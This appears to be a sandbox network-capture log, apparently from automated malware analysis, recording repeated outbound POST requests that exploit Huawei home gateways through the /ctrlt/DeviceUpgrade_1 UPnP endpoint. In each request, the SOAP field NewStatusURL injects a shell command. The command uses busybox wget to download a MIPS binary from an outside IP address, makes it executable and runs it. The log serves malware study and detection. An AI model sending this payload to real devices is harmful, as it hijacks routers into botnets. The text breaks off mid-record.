Nov 19, 2023 09:16:51.079695940 CET	1847	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:52.995529890 CET	1908	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.026982069 CET	2042	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.705919981 CET	2242	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.067825079 CET	2659	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	156.230.23.116	37215	192.168.2.23	60756

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:15.880510092 CET	916	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.512413025 CET	950	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:19.432107925 CET	1005	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.239532948 CET	1114	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.918514013 CET	1317	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 